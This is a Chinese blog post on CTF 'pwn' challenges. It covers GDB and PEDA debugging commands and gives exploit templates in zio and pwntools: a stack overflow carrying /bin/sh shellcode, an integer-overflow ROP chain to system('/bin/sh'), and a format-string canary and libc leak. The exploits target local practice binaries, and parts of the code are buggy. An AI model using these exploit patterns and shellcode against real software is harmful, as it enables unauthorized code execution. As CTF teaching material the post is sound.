pwn 题GDB调试技巧和exp模板

GDB分析ELF文件常用的调试技巧

gdb常用命令

首先是gbd+文件名 静态调试 ,gdb attach +文件名 动态调试

为了方便查看堆栈和寄存器 最好是安装peda插件

安装

可以通过pip直接安装,也可以从github上下载安装

$ pip install peda

$ git clone https://github.com/longld/peda.git ~/peda
$ echo "source ~/peda/peda.py" >> ~/.gdbinit 

命令

  • aslr – 显示/设定GDB的ASLR(地址空间配置随机加载)设置 
    aslr

  • checksec – 检查二进制文件的各种安全选项 
    checksec

  • dumpargs – 函数将要被调用时,显示将要被传入函数的所有参数(默认会在反汇编代码下方自动显示)

  • dumprop – 在给定内存范围中Dump出所有ROP gadgets 
    droprop

  • elfheader – Get headers information from debugged ELF file

  • elfsymbol – 获取non-debugging symbol信息(plt表) 
    elfsymbol

  • lookup – Search for all addresses/references to addresses which belong to a memory range

  • patch – Patch memory start at an address with string/hexstring/int

  • pattern – 生成字符串模板 写入内存 用于定位溢出点

    • pattern create size 生成特定长度字符串
    • pattern offset value 定位字符串 
      pattern
  • procinfo – Display various info from /proc/pid/

  • pshow – Show various PEDA options and other settings

  • pset – Set various PEDA options and other settings

  • readelf – 获取elf头信息 
    readelf

  • ropgadget – Get common ROP gadgets of binary or library 
    ropgadget

  • ropsearch – Search for ROP gadgets in memory

  • searchmem|find – 在内存中查找字符串,支持正则表达式 
    find

  • shellcode – 生成shellcode 
    shellcode

  • skeleton – Generate python exploit code template

  • vmmap – 可以用来查看栈、bss段是否可以执行 
    vmmap

  • xormem – XOR a memory region with a key

更多详细用法请参考官方帮助文档

help

 

1. checksec 查看elf编译的保护选项。

2. file [file] 加载objfile

3. disas addr 对地址addr处的指令进行反汇编,addr可以是函数名

4. b *addr 在addr处下一个断点

5. x addr 查看addr处存储的数据值

6. r 运行被调试的程序

7. c 继续运行

8. ni 单步执行不进入

9. si 单步执行并进入

10.vmmap 得到虚拟映射地址

 

PWN题常用模板

单个发送(pwn库)

1 #coding=utf-8   #中文乱码
2 from zio import *
3 Thread = zio(('./pwn'))  #执行同目录下的pwn
4 Thread = write('a'*64+'\x00\x00\x00\x01')  #输入我们的payload
5 Thread = interact()
6 //p32(Address) 把32位地址 写成0x形式  同理64位的也是

 

ZIO库

 1 from zio import *
 2 from pwn import *
 3 Thread = zio(('./pwn'))
 4 #shellcode1='\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
 5 shellcode='\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50'
 6 TargetAddress = 0x000000000040066E
 7 Length = len(shellcode)
 8 payload = shellcode+'\x90'*(72-Length)+p64(TargetAddress)
 9 Thread.write(payload)
10 Thread.interact()
11  

pwn库 有消息接收和判断的


 1 from pwn import *
 2 Shellcode='a'*112+'\x5D\x86\x04\x08'
 3 Target=process('./pwn')
 4 Target.sendline(Shellcode)
 5 Target.recvuntil(':$')
 6 #context.terminal = ['gnome-terminal','-x','sh','-c']
 7 #gdb.attach(proc.pidof(Target)[0])
 8 Target.sendline('zhimakaimen')
 9 Target.interactive()
10  
11  

 

整数溢出型

 1 from pwn import *
 2 
 3 #r = remote('127.0.0.1', 9527)
 4 r = process('./pwn3')
 5 r.recvuntil('name \n')
 6 r.sendline('123')
 7 #raw_input('debug'
 8 ##构造结构可以是:scanf->ret->”%9s”->某地址->system->填充->某地址。
 9 10 #下面开始构造
11 r.recvuntil('index\n')
12 #-2147483648  -->0x80000000 *4后溢出为0
13 context.terminal = ['gnome-terminal','-x','sh','-c'] 
14 gdb.attach(proc.pidof(p)[0])
15 r.sendline(str(-2147483648 + 14))  #ebp+4的地址处  就是Return函数的地址  现在是一处地址一处值  1
16 r.recvuntil('value\n')
17 r.sendline(str(int('8048470', 16)))  #jmp  scanf
18 r.recvuntil('index\n')
19 r.sendline(str(-2147483648 + 15))   #ebp+8
20 r.recvuntil('value\n')
21 r.sendline(str(int('0x080487de', 16)))  # pop     edi
22 r.recvuntil('index\n')
23 r.sendline(str(-2147483648 + 16))  
24 r.recvuntil('value\n') 
25 r.sendline(str(int('804884b',16)))  #0804884B a9s      db '%9s',0 
26 r.recvuntil('index\n')
27 r.sendline(str(-2147483648 + 17))  
28 r.recvuntil('value\n')
29 r.sendline(str(int('804a030', 16)))  #0804A030 __data_star  804a030 是GOT表的结尾
30 r.recvuntil('index\n')
31 r.sendline(str(-2147483648 + 18))
32 r.recvuntil('value\n')
33 r.sendline(str(int('8048420', 16))) #system  #jmp to system
34 r.recvuntil('index\n') 
35 r.sendline(str(-2147483648 + 19))
36 r.recvuntil('value\n')
37 r.sendline(str(int('804a030', 16)))  #0804A030 __data_start    db    0 
38 r.recvuntil('index\n')
39 r.sendline(str(-2147483648 + 20))
40 r.recvuntil('value\n')
41 r.sendline(str(int('804a030', 16)))  #0804A030 __data_start    db    0 
42 r.recvuntil('index\n')
43 r.sendline(str(-2147483648 + 21))
44 r.recvuntil('value\n')
45 r.sendline(str(int('8048420', 16)))  ##system  #jmp to system
46 r.recvuntil('index\n')
47 r.sendline(str(-2147483648 + 22))
48 r.recvuntil('value\n')
49 r.sendline(str(int('8048420', 16)))  ##system  #jmp to system
50 r.recvuntil('index\n')  #相当与让代码结束 执行ret从而执行到我们的流程
51 r.sendline('-1')
52 r.recvuntil('value\n')
53 r.sendline('10')
54 r.recvuntil('0 0 0 0 0 0 0 0 0 0 ')
55 r.sendline('/bin/sh')
56 r.interactive()

 

 
 

格式化字符串

 1 from pwn import *
 2 libc=ELF('/lib/i386-linux-gnu/i686/cmov/libc.so.6')
 3 p=process("./pwn2")
 4 context.terminal = ['gnome-terminal','-x','sh','-c'] 
 5 gdb.attach(proc.pidof(p)[0])       
 6 p.recvuntil('name:')
 7 p.sendline('%p.'*40)     #输出字符串 
 8 leak_data=p.recvuntil('messages:')
 9 address=leak_data.split('.')            #将输出的地址分组 然后进行分组
10 canary=int(address[30],16)     #这里为什么是 第30个
11 stack_addr=int(address[33],16)-0x90+0x8+0x8   #这里也不懂
12 put_addr=int(address[22],16)-0x144                  
13 system_addr=put_addr-(libc.symbols['puts']-libc.symbols['system'])
14 15 payload ='a'*100+p32(canary)+'a'*12+p32(system_addr)+'bbbb'+p32(stack_addr)+'/bin/sh\x00'
16 17 p.sendline(payload)
18 19 p.interactive()

 

posted @ 2017-08-31 10:15  Clay-  阅读(2503)  评论(0编辑  收藏  举报